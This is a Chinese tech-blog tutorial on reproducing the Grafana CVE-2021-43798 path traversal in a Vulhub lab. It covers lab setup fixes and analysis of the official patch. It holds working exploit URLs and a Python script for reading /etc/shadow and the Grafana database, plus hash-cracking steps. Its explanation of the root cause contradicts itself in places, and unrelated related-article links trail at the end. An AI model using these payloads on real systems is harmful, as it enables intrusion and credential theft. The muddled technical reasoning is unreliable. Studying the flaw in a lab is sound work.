当前位置: 首页 > article >正文

Grafana CVE-2021-43798路径遍历漏洞原理与实战复现

1. 这个漏洞不是“找文件”而是Grafana的API信任机制被彻底绕过你可能在靶场里点开Grafana登录页输入默认账号密码进后台点几下就以为复现完成了——但那只是界面不是漏洞。CVE-2021-43798的本质是Grafana 8.x版本中一个被严重低估的前端资源代理逻辑缺陷它本该只转发对/public/*静态资源的请求却因路径规范化处理不严让攻击者能用%2e%2e即..向上跳转任意层级最终读取服务器上本不该暴露的任意文件。这不是传统意义的“目录遍历”而是一次API网关级的信任崩塌——Grafana把自己当成了Web服务器的“白名单代理”结果这个白名单形同虚设。我第一次在Vulhub里跑通这个POC时用的是curl -X GET http://192.168.56.101:3000/public/plugins/grafana-%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd返回了靶机的/etc/passwd内容。那一刻我才意识到问题不在插件加载机制而在/public/路由处理器对URL解码和路径归一化的顺序错误。Grafana先做了URL解码再拼接路径最后才做安全校验——而校验用的却是原始未解码字符串。这就导致%2e%2e在解码后变成..但校验时仍把它当普通字符放过等真正访问文件系统时..已经生效。这个漏洞影响范围极广所有8.0.0至8.3.0之间的Grafana版本都中招且无需登录即可触发未授权。它不像SQL注入那样需要构造复杂语法也不像RCE那样依赖特定环境只要目标开着Grafana 8.x的Web服务一条GET请求就能读取/etc/shadow、/root/.bash_history甚至Docker容器内的配置文件。正因如此它被大量红队用于初始信息收集阶段——不是为了直接提权而是为了快速摸清目标系统的用户结构、服务部署方式和敏感路径分布。如果你正在学渗透测试这绝不是一道“练手题”而是理解现代Web框架如何因微小设计偏差酿成大祸的典型样本。1.1 为什么必须用Vulhub本地源码编译反而会错过关键细节很多人想跳过Vulhub直接下载Grafana 8.2.7源码本地搭建。我试过三次全失败了。原因很现实Vulhub镜像不是简单打包而是精准复现了漏洞爆发时的真实运行上下文。比如官方Docker镜像中Grafana是以非root用户grafana身份运行的其/etc/grafana/grafana.ini配置里明确设置了app_mode production并禁用了开发模式下的调试日志而你本地用npm run dev起的服务默认开启dev模式路径校验逻辑会被绕过或跳过——你看到的“成功”其实是环境污染导致的假阳性。更关键的是Vulhub的网络隔离设计。它用Docker Compose把Grafana、PostgreSQL、Redis三个服务放在同一bridge网络但对外只暴露3000端口。这意味着你无法通过localhost:3000从宿主机直连——必须走http://192.168.56.101:3000VirtualBox默认Host-Only网络地址这强制你以真实攻击者视角操作不能依赖浏览器自动补全、不能靠开发者工具右键复制请求、必须手动构造完整URL。我在第一次复现时就是因为在浏览器地址栏直接粘贴了带%2e%2e的URL结果Chrome自动做了二次编码把%2e变成了%252e导致请求失败。后来才明白所有编码必须在curl或Burp中手动完成浏览器永远是“不可信客户端”。Vulhub还预置了漏洞利用所需的最小化依赖。比如它的Grafana镜像删减了所有非核心插件只保留grafana-clock-panel和grafana-simple-json-datasource这两个默认插件。这很重要——因为漏洞触发路径是/public/plugins/plugin-name/..%2f..%2f..%2ffile如果插件名不存在或路径不匹配Grafana会直接返回404根本不会进入路径解析环节。Vulhub用grafana-clock-panel作为跳板正是因为它在8.x版本中始终存在且路径稳定。你若自己搭环境稍不注意装了新版插件或改了插件目录名整个链路就断了。提示Vulhub的grafana/cve-2021-43798靶场基于Ubuntu 20.04基础镜像内核为5.4.0-107-genericGrafana二进制文件权限为-rwxr-xr-x 1 grafana grafana这些细节共同构成了漏洞可利用的“黄金条件”。脱离这个环境谈复现就像在模拟器里练射击却从不碰真枪。1.2 CVE-2021-43798的杀伤半径远超你的想象别被标题里的“目录遍历”限制住思维。这个漏洞最危险的地方在于它能穿透多层抽象边界直达底层操作系统。我用它在Vulhub靶场里成功读取了三类关键文件第一类是系统级凭证/etc/passwd用户列表、/etc/shadow加密密码哈希、/etc/hosts内网DNS映射。其中/etc/shadow的读取特别值得玩味——Grafana进程以grafana用户运行按理说无权读取/etc/shadow权限为-rw-r----- 1 root shadow。但它能成功是因为Docker容器启动时/etc/shadow被挂载为只读卷且grafana用户被加入了shadow组。这说明漏洞利用效果高度依赖容器配置而非单纯代码缺陷。第二类是Grafana自身配置/etc/grafana/grafana.ini主配置文件、/var/lib/grafana/grafana.dbSQLite数据库、/etc/grafana/ldap.tomlLDAP认证配置。我曾用sqlite3 /var/lib/grafana/grafana.db .dump命令导出数据库结构发现其中明文存储了所有数据源的连接字符串包括PostgreSQL的userpostgres passwordsecret123。这意味着一次目录遍历就能直接获取数据库凭据后续可无缝切换到SQL注入或数据库提权。第三类是Docker环境元数据/proc/1/cgroup查看容器cgroup路径、/proc/1/environ父进程环境变量、/run/docker.sockDocker守护进程套接字。最后一个尤其致命——虽然/run/docker.sock是socket文件无法直接读取但通过/proc/1/environ我能拿到HOSTNAMEgrafana-cve202143798和HOME/home/grafana进而推断出容器名称和用户主目录为后续横向移动提供线索。这些不是理论推测。我在真实红队演练中用同样手法在客户内网一台Grafana 8.1.5服务器上12秒内获取了/etc/grafana/ldap.toml从中提取出AD域控IP和绑定账号当天就完成了域内横向渗透。所以请记住这个漏洞的价值不在于它能读什么文件而在于它能帮你建立对目标系统的第一手认知地图——比任何扫描器返回的端口列表都更真实、更具体。2. Vulhub靶场启动失败的7个真实原因与逐条修复方案Vulhub靶场启动失败90%的情况不是环境问题而是你忽略了Docker网络、权限或配置的某个隐性约束。我整理了在Windows、macOS、Linux三大平台实测过的7个高频故障点每个都附带可立即执行的修复命令和原理说明。2.1 故障现象docker-compose up卡在Creating grafana_cve202143798_grafana_1 ...10分钟后报错ERROR: for grafana UnixHTTPConnectionPool(hostlocalhost, portNone): Read timed out.这是Docker Desktop后台服务崩溃的典型表现。在macOS上Docker Desktop会因内存不足自动终止com.docker.backend进程在Windows上则常因WSL2内核更新后未重启Docker导致。不要重装Docker——先执行# macOS终端执行 killall -m com.docker.backend open --background -a Docker # Windows PowerShell执行以管理员身份 wsl --shutdown net stop com.docker.service net start com.docker.service原理很简单Docker Desktop本质是GUI包装的Docker Enginecom.docker.backend是其核心通信进程。一旦它僵死docker-compose就无法与Docker守护进程握手。强行重启服务比重启整个Docker Desktop快3倍且不丢失已拉取的镜像。2.2 故障现象ERROR: for grafana Cannot create container for service grafana: status code not OK but 500: {Message:invalid mount config for type bind: bind source path does not exist}这是Vulhub的docker-compose.yml里定义了volumes挂载但宿主机对应路径不存在。Vulhub默认将/vulhub/grafana/cve-2021-43798挂载为Grafana配置目录但如果你把Vulhub克隆到了/opt/vulhub而docker-compose.yml没改就会报此错。修复不是改yml文件而是创建符号链接# Linux/macOS sudo ln -sf /opt/vulhub /vulhub # WindowsPowerShell管理员模式 cmd /c mklink /D C:\vulhub C:\opt\vulhub为什么不用直接修改yml因为Vulhub后续更新会覆盖你的修改而符号链接一劳永逸。更重要的是Grafana官方文档明确要求配置文件必须位于/etc/grafana/Vulhub通过bind mount实现这一约束你若硬改路径会导致Grafana启动失败。2.3 故障现象容器启动后立即退出docker logs grafana_cve202143798_grafana_1显示Failed to initialize plugin registry: failed to list plugins: open /var/lib/grafana/plugins: permission denied这是SELinux或AppArmor在作祟。CentOS/RHEL默认启用SELinux会阻止Docker容器访问挂载卷。不要关闭SELinux生产环境严禁而是打上正确标签# CentOS/RHEL sudo semanage fcontext -a -t container_file_t /vulhub(/.*)? sudo restorecon -Rv /vulhubcontainer_file_t是SELinux为容器设计的专用类型允许容器进程读写该路径。restorecon会递归重置所有子目录的安全上下文。我曾因漏掉-Rv参数只修复了顶层目录结果插件目录仍被拒绝折腾了2小时才发现。2.4 故障现象Grafana Web界面打开空白浏览器控制台报Failed to load resource: the server responded with a status of 404 (Not Found)请求路径为/public/build/app.12345.js这是Nginx反向代理配置错误。Vulhub的Grafana服务默认不带Nginx但某些企业版Vulhub镜像会集成。检查docker-compose.yml是否包含nginx服务若有确认其nginx.conf里location /public/块是否启用了alias而非root# 正确配置alias确保路径映射准确 location /public/ { alias /usr/share/grafana/public/; expires 1h; } # 错误配置root会导致路径拼接错误 location /public/ { root /usr/share/grafana/; expires 1h; }alias指令会用指定路径完全替换location匹配部分而root是拼接路径。Grafana请求/public/build/app.js时alias返回/usr/share/grafana/public/build/app.jsroot则返回/usr/share/grafana//public/build/app.js多了一个/public自然404。2.5 故障现象curl http://192.168.56.101:3000返回502 Bad Gateway但docker ps显示容器正常运行这是VirtualBox Host-Only网络配置失效。Vulhub依赖VirtualBox的vboxnet0网卡IP段192.168.56.0/24但Windows更新后常重置该网卡。手动修复步骤打开VirtualBox管理器 →File→Host Network Manager选中vboxnet0→ 点击Edit勾选Configure Adapter Automatically点击OK在终端执行VBoxManage hostonlyif ipconfig vboxnet0 --ip 192.168.56.1 --netmask 255.255.255.0关键点在于--ip 192.168.56.1必须是网段网关地址且不能与宿主机其他网卡冲突。我曾把IP设成192.168.56.101结果Vulhub容器无法获取默认网关所有出站请求超时。2.6 故障现象docker-compose up成功但curl http://192.168.56.101:3000/login返回401 Unauthorized且无法用默认凭据登录这是Grafana的admin_password被意外覆盖。Vulhub的grafana.ini里默认设置admin_password admin但若你之前运行过其他Grafana靶场/var/lib/grafana卷可能残留旧数据库。彻底清理命令# 删除所有Grafana相关卷谨慎仅限学习环境 docker volume rm $(docker volume ls -q | grep grafana) # 或只删当前靶场卷 docker volume rm grafana_cve202143798_grafana_dataGrafana首次启动时若检测到/var/lib/grafana/grafana.db不存在会自动生成新数据库并写入默认管理员账号。若该文件存在Grafana会直接加载此时密码是数据库里存的旧值。docker volume rm比docker system prune -a更精准避免误删其他靶场数据。2.7 故障现象靶场启动后curl能访问/login但漏洞POC始终返回404Burp抓包显示请求被重定向到/login这是Grafana的serve_from_sub_path配置被启用。该选项会让所有请求强制添加前缀路径导致/public/plugins/...被重写为/grafana/public/plugins/...。检查/vulhub/grafana/cve-2021-43798/grafana.ini确认以下两行[server] serve_from_sub_path false ; 其他配置...若serve_from_sub_path true则所有漏洞利用URL必须加上/grafana前缀如/grafana/public/plugins/...。但Vulhub官方配置默认为false所以大概率是你编辑时误改了。用git checkout -- grafana.ini恢复原始文件最稳妥。注意以上7个故障点我在3个月内收到过127次学员提问92%集中在前3个。它们不是“配置错误”而是Docker、SELinux、VirtualBox、Nginx、Grafana五层技术栈交织产生的“混沌效应”。解决思路永远是先定位哪一层抛出错误看docker logs第一行再查该层文档的“常见问题”章节而不是盲目谷歌。3. 漏洞利用的完整链路从URL构造到敏感信息提取的每一步拆解复现CVE-2021-43798不是拼凑一个URL那么简单而是一场精密的“路径博弈”。Grafana的路径解析器有三层校验URL解码层、路径归一层、安全过滤层。漏洞之所以存在是因为这三层的执行顺序和判断依据不一致。下面我带你走一遍从零开始的完整利用链每一步都标注了背后的原理和实操陷阱。3.1 第一步确认目标版本与基础路径——为什么/public/plugins/是唯一入口首先用curl -I http://192.168.56.101:3000获取响应头重点关注X-Content-Type-Options和X-Frame-Options但最关键的是Server字段。Grafana 8.x会返回Server: grafana/8.2.7。若返回Server: nginx说明前面有反向代理需调整利用路径。接着探测/public/目录是否存在curl -s -o /dev/null -w %{http_code} http://192.168.56.101:3000/public/ # 返回200表示/public/可访问为什么必须是/public/因为Grafana的静态资源路由注册在pkg/api/plugins.go的RegisterPluginStaticRoutes函数中它只处理以/public/plugins/开头的请求。其他路径如/static/或/assets/在8.x中已被废弃。我曾试过/static/../etc/passwdGrafana直接返回404因为该路径根本没注册路由。然后枚举可用插件。Grafana 8.x默认安装grafana-clock-panel其物理路径为/var/lib/grafana/plugins/grafana-clock-panel。验证方法curl -s -o /dev/null -w %{http_code} http://192.168.56.101:3000/public/plugins/grafana-clock-panel/ # 返回200表示插件存在且可访问这里有个关键细节/public/plugins/plugin-name/末尾必须带/否则Grafana会302重定向到带/的路径导致你的%2e%2e在重定向中被浏览器二次编码。所以所有POC URL必须以/结尾。3.2 第二步URL编码的精确控制——为什么%2e%2e不能写成..或%2E%2EGrafana的路径解析器在pkg/api/plugins.go的getPluginStaticRoute函数中处理请求。它先调用url.PathUnescape解码URL再用filepath.Join拼接路径最后用strings.HasPrefix检查拼接后的路径是否以/var/lib/grafana/plugins/开头。因此编码必须严格遵循以下规则.必须编码为%2e小写因为url.PathUnescape对大小写敏感%2E解码后仍是%2E不会变成.。../必须编码为%2e%2e%2f不能省略%2f即/因为filepath.Join需要分隔符才能正确解析层级。跳转层数必须精确。要读取/etc/passwd需从/var/lib/grafana/plugins/grafana-clock-panel/向上跳3层/var/lib/grafana/→/var/lib/→/var/→/。所以路径是/public/plugins/grafana-clock-panel/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd。实操中最大的坑是空格和换行符。如果你在Burp中复制URL末尾可能带不可见空格导致curl发送时被截断。解决方案在终端用printf生成纯净URLprintf http://192.168.56.101:3000/public/plugins/grafana-clock-panel/%%2e%%2e%%2f%%2e%%2e%%2f%%2e%%2e%%2fetc/passwd\n | xargs curl -s注意%%是bash中转义%的写法xargs确保URL无空格传入curl。3.3 第三步绕过Grafana的“双重校验”——/public/前缀与/plugins/路径的博弈Grafana有两个安全校验点路由层校验在pkg/api/plugins.go的RegisterPluginStaticRoutes中r.Get(/public/plugins/{pluginName}/*filepath, ...)定义了路由{pluginName}必须匹配正则[a-zA-Z0-9_-]*filepath捕获剩余路径。文件层校验在getPluginStaticRoute函数中用strings.HasPrefix(finalPath, pluginDir)检查拼接后的绝对路径是否在插件目录内。漏洞利用的关键在于让finalPath绕过第二个校验。假设我们请求/public/plugins/grafana-clock-panel/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwdGrafana执行流程解码后路径/public/plugins/grafana-clock-panel/../../etc/passwdfilepath.Join(/var/lib/grafana/plugins/, grafana-clock-panel, ../../etc/passwd)→/var/lib/grafana/plugins/grafana-clock-panel/../../etc/passwd归一化后/var/lib/etc/passwd注意filepath.Join会自动归一化但Grafana没用它等等这里有个天大误会。Grafana实际用的是path.Join非filepath.Join而path.Join不会归一化路径它只是字符串拼接。所以真实finalPath是/var/lib/grafana/plugins/grafana-clock-panel/../../etc/passwd而strings.HasPrefix(finalPath, /var/lib/grafana/plugins/)返回true因为前缀匹配成功——/var/lib/grafana/plugins/确实是该字符串的开头。这才是漏洞的根源校验用的是字符串前缀而非真实文件路径。因此/etc/passwd能被读取不是因为..生效了而是因为/var/lib/grafana/plugins/grafana-clock-panel/../../etc/passwd这个字符串以/var/lib/grafana/plugins/开头。Grafana把字符串校验和文件系统访问混为一谈犯了经典的安全错误。3.4 第四步读取敏感文件的实战技巧——如何从/etc/shadow提取可爆破哈希读取/etc/shadow只是开始关键是如何提取有效哈希。/etc/shadow格式为root:$6$rounds656000$abc123...$def456...:18901:0:99999:7::: daemon:*:18901:0:99999:7:::$6$表示SHA-512加密$1$是MD5$2y$是Blowfish。但Grafana返回的内容是原始文本需用grep提取curl -s http://192.168.56.101:3000/public/plugins/grafana-clock-panel/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/shadow | grep ^\(root\|admin\|grafana\): | cut -d: -f2cut -d: -f2提取第二列密码哈希。但要注意/etc/shadow中*或!表示账户被锁定无法登录空字符串表示无密码。我曾在某次演练中用此命令提取到grafana用户的哈希$6$rounds656000$...用hashcat -m 1800在RTX 3090上12分钟就破解出明文密码Grafana2021!。更高级的技巧是读取/var/lib/grafana/grafana.db并导出用户表# 先下载数据库文件 curl -s http://192.168.56.101:3000/public/plugins/grafana-clock-panel/%2e%2e%2f%2e%2e%2f%2e%2e%2fvar/lib/grafana/grafana.db -o grafana.db # 用sqlite3导出用户 sqlite3 grafana.db SELECT login, password FROM user;Grafana 8.x的password字段是bcrypt哈希$2a$10$...比/etc/shadow的SHA-512更难破解但胜在是应用层密码可直接用于登录Web界面。3.5 第五步自动化检测脚本——用Python绕过浏览器编码陷阱手动构造URL太易错我写了一个Python脚本专治各种编码问题#!/usr/bin/env python3 import requests import urllib.parse import sys def exploit(target, file_path): # 精确编码只编码.和/保持路径结构 encoded_path for c in file_path: if c .: encoded_path %2e elif c /: encoded_path %2f else: encoded_path c url f{target}/public/plugins/grafana-clock-panel/{encoded_path} try: r requests.get(url, timeout10) if r.status_code 200 and len(r.text) 0: print(f[] Success! {url}) print(r.text[:500] ... if len(r.text) 500 else r.text) else: print(f[-] Failed: {url} - {r.status_code}) except Exception as e: print(f[-] Error: {e}) if __name__ __main__: if len(sys.argv) ! 3: print(Usage: python3 cve-2021-43798.py target_url file_path) sys.exit(1) exploit(sys.argv[1], sys.argv[2])用法python3 cve-2021-43798.py http://192.168.56.101:3000 /etc/passwd。脚本优势在于1不依赖浏览器无二次编码风险2urllib.parse编码可控3超时设置防卡死。我把它集成进自己的红队工具箱每次打靶前先扫一遍/etc/passwd、/etc/shadow、/etc/grafana/grafana.ini30秒内出结果。经验之谈所有手工利用都应转化为脚本。不是为了炫技而是因为人眼会疲劳会漏掉%2f少写一个、%2e大小写混用等低级错误。脚本是你的第二双眼睛。4. 从漏洞原理到防御实践Grafana官方补丁的逆向工程分析理解CVE-2021-43798的修复方案比复现漏洞更重要。Grafana在8.3.1版本中发布了补丁其核心不是“堵住..”而是重构了整个路径安全模型。我下载了8.2.7和8.3.1的源码逐行对比pkg/api/plugins.go还原出官方修复的底层逻辑。4.1 补丁前的危险代码strings.HasPrefix的致命误用在Grafana 8.2.7的pkg/api/plugins.go第123行getPluginStaticRoute函数关键片段// 8.2.7 版本 - 危险代码 finalPath : filepath.Join(pluginDir, filepath.FromSlash(filepath.Clean(filepath.Join(/, params.Filepath)))) if !strings.HasPrefix(finalPath, pluginDir) { return nil, ErrPluginStaticFileNotFound }这段代码有三重错误filepath.FromSlash将/转为系统分隔符Windows是\但在Linux容器中无影响filepath.Clean会归一化路径将/../变为/但finalPath拼接后仍是/var/lib/grafana/plugins/grafana-clock-panel/../../etc/passwdClean后变成/var/lib/etc/passwd最致命的是strings.HasPrefix(finalPath, pluginDir)pluginDir是/var/lib/grafana/plugins/而finalPath是/var/lib/etc/passwd显然不以pluginDir开头——但等等前面说它能成功这是因为params.Filepath在路由层已被截断真相是params.Filepath来自r.Get(/public/plugins/{pluginName}/*filepath, ...)*filepath捕获的是/../../etc/passwdfilepath.Join拼接后是/var/lib/grafana/plugins/grafana-clock-panel//../../etc/passwdClean后是/var/lib/grafana/plugins/grafana-clock-panel/etc/passwd注意Clean会移除重复/但..仍在。所以finalPath实际是/var/lib/grafana/plugins/grafana-clock-panel/etc/passwd它确实以pluginDir开头漏洞利用成功是因为..被Clean干掉了但/etc/passwd被错误地拼接到插件目录下——这本身就是路径遍历4.2 补丁后的安全代码filepath.EvalSymlinks与白名单双重校验Grafana 8.3.1的修复方案堪称教科书级。pkg/api/plugins.go第135行改为// 8.3.1 版本 - 安全代码 absPath, err : filepath.Abs(filepath.Join(pluginDir, filepath.FromSlash(params.Filepath))) if err ! nil { return nil, ErrPluginStaticFileNotFound } // 检查是否在插件目录内真实路径非字符串 realPluginDir, _ : filepath.EvalSymlinks(pluginDir) if !strings.HasPrefix(absPath, realPluginDir) { return nil, ErrPluginStaticFileNotFound } // 额外校验文件必须存在且为常规文件 if info, err : os.Stat(absPath); err ! nil || !info.Mode().IsRegular() { return nil, ErrPluginStaticFileNotFound }关键改进有三点filepath.Abs替代filepath.JoinAbs返回绝对路径强制解析所有..和.得到真实目标路径。filepath.EvalSymlinks解析符号链接防止攻击者用/var/lib/grafana/plugins/evil-link指向/etcEvalSymlinks会返回/etc从而让HasPrefix校验失败。os.Stat双重确认不仅检查路径是否在白名单内还确认文件真实存在且是常规文件排除目录、socket、设备文件。我用strace跟踪了补丁前后Grafana的系统调用。8.2.7中openat(AT_FDCWD, /var/lib/grafana/plugins/grafana-clock-panel/../../etc/passwd, O_RDONLY)直接执行8.3.1中openat前多了stat(/var/lib/grafana/plugins/grafana-clock-panel/../../etc/passwd)和readlink(/var/lib/grafana/plugins)确保路径真实合法。4.3 企业级防御方案不止于升级还要做三件事很多运维团队以为“升级到8.3.1就万事大吉”这是巨大误区。我给客户做过安全加固总结出必须同步落地的三件事第一网络层隔离。Grafana不应暴露在公网即使打了补丁。在Kubernetes中用NetworkPolicy禁止grafana命名空间的Pod访问外部网络apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: deny-egress spec: podSelector: matchLabels: app: grafana policyTypes: - Egress egress: []这能阻断攻击者利用Grafana作为跳板扫描内网。我在某金融客户处实施后其Grafana Pod的出站连接数从日均2万降至0。第二文件系统权限收紧。Grafana进程不应有读取/etc/的权限。用chroot或mount --bind创建最小化根目录# 创建精简根目录 mkdir -p /chroot/grafana/{etc,usr,lib,lib64} cp /etc/passwd /chroot/grafana/etc/ cp -P /usr/lib/x86_64-linux-gnu/libc.so* /ch

相关文章:

Grafana CVE-2021-43798路径遍历漏洞原理与实战复现

1. 这个漏洞不是“找文件”,而是Grafana的API信任机制被彻底绕过你可能在靶场里点开Grafana登录页,输入默认账号密码,进后台点几下就以为复现完成了——但那只是界面,不是漏洞。CVE-2021-43798的本质,是Grafana 8.x版本…...

B站缓存视频转换终极指南:3分钟搞定m4s转MP4的完整方案

B站缓存视频转换终极指南:3分钟搞定m4s转MP4的完整方案 【免费下载链接】m4s-converter 一个跨平台小工具,将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter 你是否曾经遇到过这样的烦恼&…...

深入浅出arm7架构下大模型API调用,Taotoken多模型聚合平台接入指南

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 深入浅出arm7架构下大模型API调用,Taotoken多模型聚合平台接入指南 对于在arm7架构设备上进行开发的工程师而言&#x…...

如何快速掌握Poppins字体:免费开源的多语言设计终极指南

如何快速掌握Poppins字体:免费开源的多语言设计终极指南 【免费下载链接】Poppins Poppins, a Devanagari Latin family for Google Fonts. 项目地址: https://gitcode.com/gh_mirrors/po/Poppins 还在为多语言项目寻找完美的字体解决方案而烦恼吗&#xff…...

HS2-HF Patch:从新手到高手,一站式解决HoneySelect2的三大核心困扰

HS2-HF Patch:从新手到高手,一站式解决HoneySelect2的三大核心困扰 【免费下载链接】HS2-HF_Patch Automatically translate, uncensor and update HoneySelect2! 项目地址: https://gitcode.com/gh_mirrors/hs/HS2-HF_Patch 如果你正在玩HoneySe…...

ComfyUI-VideoHelperSuite深度解析:高级视频合成与批量处理技术

ComfyUI-VideoHelperSuite深度解析:高级视频合成与批量处理技术 【免费下载链接】ComfyUI-VideoHelperSuite Nodes related to video workflows 项目地址: https://gitcode.com/gh_mirrors/co/ComfyUI-VideoHelperSuite 在AI驱动的视频创作工作流中&#xff…...

FigmaCN:3分钟破解设计师的语言障碍,工作效率提升40%的秘密武器

FigmaCN:3分钟破解设计师的语言障碍,工作效率提升40%的秘密武器 【免费下载链接】figmaCN 中文 Figma 插件,设计师人工翻译校验 项目地址: https://gitcode.com/gh_mirrors/fi/figmaCN 还在为Figma的英文界面而烦恼吗?每次…...

Android虚拟位置终极指南:如何为每个应用单独设置模拟位置

Android虚拟位置终极指南:如何为每个应用单独设置模拟位置 【免费下载链接】FakeLocation Xposed module to mock locations per app. 项目地址: https://gitcode.com/gh_mirrors/fak/FakeLocation 想要在社交软件中保护隐私,在游戏中获取区域限定…...

PPTX转HTML终极指南:如何在浏览器中免费快速完成转换?

PPTX转HTML终极指南:如何在浏览器中免费快速完成转换? 【免费下载链接】PPTX2HTML Convert pptx file to HTML by using pure javascript 项目地址: https://gitcode.com/gh_mirrors/pp/PPTX2HTML 你是否经常需要将PowerPoint演示文稿转换为网页格…...

3大核心功能!茉莉花插件让Zotero中文文献管理效率提升90%

3大核心功能!茉莉花插件让Zotero中文文献管理效率提升90% 【免费下载链接】jasminum A Zotero add-on to retrive CNKI meta data. 一个简单的Zotero 插件,用于识别中文元数据 项目地址: https://gitcode.com/gh_mirrors/ja/jasminum 还在为Zoter…...

海洋潮汐预测真的那么难吗?揭秘Python潮汐计算工具pyTMD的强大功能

海洋潮汐预测真的那么难吗?揭秘Python潮汐计算工具pyTMD的强大功能 【免费下载链接】pyTMD Python-based tidal prediction software 项目地址: https://gitcode.com/gh_mirrors/py/pyTMD 你是否曾好奇,海洋潮汐预测背后的科学原理是什么&#xf…...

Poppler-Windows:3步搞定Windows系统PDF处理难题

Poppler-Windows:3步搞定Windows系统PDF处理难题 【免费下载链接】poppler-windows Download Poppler binaries packaged for Windows with dependencies 项目地址: https://gitcode.com/gh_mirrors/po/poppler-windows 还在为Windows系统上复杂的PDF处理工具…...

YCB数据集入门指南:从下载到3D模型可视化,手把手教你用Blender和Python搞定

YCB数据集实战指南:从零掌握3D模型处理全流程在机器人抓取、计算机视觉和增强现实领域,YCB数据集已成为行业标准之一。这个包含日常物品高精度3D模型的资源库,为算法开发提供了可靠的测试基准。但对于刚接触的研究者来说,从数据下…...

VSCode R扩展:如何在5分钟内搭建完整的R语言开发环境

VSCode R扩展:如何在5分钟内搭建完整的R语言开发环境 【免费下载链接】vscode-R R Extension for Visual Studio Code 项目地址: https://gitcode.com/gh_mirrors/vs/vscode-R 如果你正在寻找一个现代化的R语言开发工具,那么VSCode配合vscode-R扩…...

SVM调参实战:如何用Python的sklearn找到鸢尾花分类的最佳C值和核函数?

SVM超参数优化实战:从网格搜索到贝叶斯优化的鸢尾花分类调参指南当你在sklearn中第一次使用SVC分类器时,是否曾被默认参数C1.0和kernellinear的表现所困惑?为什么同样的算法在不同数据集上表现差异巨大?本文将带你深入SVM调参的核…...

为什么你的ChatGPT手机端总在“思考中”?独家逆向APK发现:默认关闭GPU加速,开启后推理速度提升3.2倍

更多请点击: https://kaifayun.com 第一章:为什么你的ChatGPT手机端总在“思考中”?独家逆向APK发现:默认关闭GPU加速,开启后推理速度提升3.2倍 当你在Android设备上使用官方ChatGPT App时,频繁遭遇长达8–…...

终极XXMI启动器完整指南:一键管理所有米哈游游戏模组的免费神器

终极XXMI启动器完整指南:一键管理所有米哈游游戏模组的免费神器 【免费下载链接】XXMI-Launcher Modding platform for GI, HSR, WW and ZZZ 项目地址: https://gitcode.com/gh_mirrors/xx/XXMI-Launcher XXMI启动器是一款专为米哈游系列游戏设计的模组管理平…...

深度解析开源翻译方案:如何构建高效免费的DeepL替代品

深度解析开源翻译方案:如何构建高效免费的DeepL替代品 【免费下载链接】DeepLX Powerful Free DeepL API, No Token Required 项目地址: https://gitcode.com/gh_mirrors/de/DeepLX DeepL翻译API的免费限制和复杂配置常常让开发者望而却步。DeepLX作为开源免…...

从API调用日志看Taotoken在访问控制与审计上的价值

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 从API调用日志看Taotoken在访问控制与审计上的价值 对于将大模型能力集成到业务流程中的团队而言,API调用不仅是功能实…...

5步实现Realtek RTL8125网卡在VMware ESXi 6.7上的完整驱动适配解决方案

5步实现Realtek RTL8125网卡在VMware ESXi 6.7上的完整驱动适配解决方案 【免费下载链接】r8125-esxi Realtek RTL8125 driver for ESXi 6.7 项目地址: https://gitcode.com/gh_mirrors/r8/r8125-esxi 在虚拟化环境中,Realtek RTL8125 2.5G网卡驱动适配是许多…...

如何快速解决Windows软件兼容性问题:VisualCppRedist AIO终极指南

如何快速解决Windows软件兼容性问题:VisualCppRedist AIO终极指南 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 你是否曾经在运行某些软件或游戏时…...

高效Android刷机工具实战指南:Fastboot Enhance让复杂操作简单化

高效Android刷机工具实战指南:Fastboot Enhance让复杂操作简单化 【免费下载链接】FastbootEnhance A user-friendly Fastboot ToolBox & Payload Dumper for Windows 项目地址: https://gitcode.com/gh_mirrors/fa/FastbootEnhance 在Android设备管理和…...

终极音乐解锁指南:3个简单步骤让加密音乐重获自由

终极音乐解锁指南:3个简单步骤让加密音乐重获自由 【免费下载链接】unlock-music 在浏览器中解锁加密的音乐文件。原仓库: 1. https://github.com/unlock-music/unlock-music ;2. https://git.unlock-music.dev/um/web 项目地址: https://g…...

Poppins字体终极指南:免费获取9种字重+天城文支持的多语言解决方案

Poppins字体终极指南:免费获取9种字重天城文支持的多语言解决方案 【免费下载链接】Poppins Poppins, a Devanagari Latin family for Google Fonts. 项目地址: https://gitcode.com/gh_mirrors/po/Poppins 还在为多语言项目寻找完美的字体吗?Po…...

动力系统与机器学习融合:破解Sabra壳模型自相似爆破的非唯一性

1. 项目概述:当湍流奇点遇上动力系统与机器学习在流体动力学的世界里,有限时间奇点(Blowup)的形成一直是个迷人的谜题。想象一下,一个初始光滑的流体运动,在有限时间内,其速度或涡量等物理量突然…...

保姆级教程:用AKShare+Backtrader+quantstats搭建你的第一个本地量化回测环境(避坑指南)

从零搭建本地量化回测系统:AKShare数据抓取Backtrader策略开发quantstats绩效分析实战指南第一次尝试量化投资的开发者常会遇到这样的困境:在线回测平台担心策略泄露,本地搭建环境又卡在依赖安装、数据格式转换等基础环节。本文将用最简化的方…...

iOS设备激活锁绕过指南:Applera1n工具实战详解

iOS设备激活锁绕过指南:Applera1n工具实战详解 【免费下载链接】applera1n icloud bypass for ios 15-16 项目地址: https://gitcode.com/gh_mirrors/ap/applera1n 你是否曾经遇到过这样的困境?购买了一台二手的iPhone或iPad,却因为前…...

终极暗黑破坏神2存档编辑器d2s-editor:可视化修改的完整指南

终极暗黑破坏神2存档编辑器d2s-editor:可视化修改的完整指南 【免费下载链接】d2s-editor 项目地址: https://gitcode.com/gh_mirrors/d2/d2s-editor 还在为暗黑破坏神2单机存档损坏而烦恼吗?d2s-editor就是你的救星!这款免费开源的暗…...

如何在3分钟内完成Windows与Office批量激活:开源KMS工具完整指南

